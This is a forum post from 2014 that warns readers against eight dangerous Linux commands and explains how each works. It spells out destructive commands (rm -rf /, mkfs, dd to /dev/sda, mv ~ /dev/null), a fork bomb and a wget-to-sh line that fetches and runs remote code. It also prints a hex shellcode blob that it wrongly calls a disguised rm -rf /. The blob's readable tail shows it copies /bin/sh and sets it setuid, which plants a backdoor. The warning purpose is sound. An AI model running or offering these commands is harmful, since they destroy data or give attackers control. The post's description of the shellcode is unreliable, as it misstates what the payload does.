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  • Don't Run These 8 Commands On Linux


    1. rm -rf /

    It will delete everything including files on your hard drive and files on connected removable media devices.

    rm – Remove the following files.

    -rf – Run rm recursively and force-remove all files without prompting you.

    / – Tells rm to start at the root directory, which contains all the files on your computer and all mounted media devices.


    2. Disguised rm –rf /

    Actually, the hex version of rm –rf / – wipes out your files just as if you had run rm –rf /.

    char esp[] __attribute__ ((section(“.text”))) /* e.s.p
    release */
    = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\ x68"
    "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\ x99"
    "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\ xf7"
    "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\ x56"
    "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\ x31"
    "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\ x69"
    "\x6e\x2f\x73\x68\x00\x2d\x63\x00"
    "cp -p /bin/sh /tmp/.beyond; chmod 4755
    /tmp/.beyond;";



    3. ){ :|: & };:


    This bash command is actually a denial-of-service attack. It defines a shell function that creates new copies of itself that

    continually replicates itself quickly taking up all your CPU time and memory causing your computer to freeze.




    4. mkfs.ext4 /dev/sda1

    It is equivalent to format c: on Windows.

    mkfs.ext4 – Create a new ext4 file system on the following device.

    /dev/sda1 – Specifies the first partition on the first hard drive, which is probably in use.




    5. command > /dev/sda

    It will write the data directly to the hard disk drive and damaging your file system.

    command – Run a command (can be any command.)

    > – Send the output of the command to the following location.

    /dev/sda – Write the output of the command directly to the hard disk device.




    6. dd if=/dev/random of=/dev/sda

    dd – Perform low-level copying from one location to another.

    if=/dev/random – Use /dev/random (random data) as the input – you may also see locations such as /dev/zero (zeros).

    of=/dev/sda – Output to the first hard disk, replacing its file system with random garbage data.




    7. mv ~ /dev/null

    It will move your home directory to a black hole.

    mv – Move the following file or directory to another location.

    ~ – Represents your entire home folder.

    /dev/null – Move your home folder to /dev/null, destroying all your files and deleting the original copies.




    8. wget http://example.com/something -O – | sh

    Downloads and runs a script.

    wget – Downloads a file. (You may also see curl in place of wget.)

    http://example.com/something – Download the file from this location.

    | – Pipe (send) the output of the wget command (the file you downloaded) directly to another command.

    sh – Send the file to the sh command, which executes it if it’s a bash script.

    Last edited by afsal; 26th June 2014, 07:25 PM.
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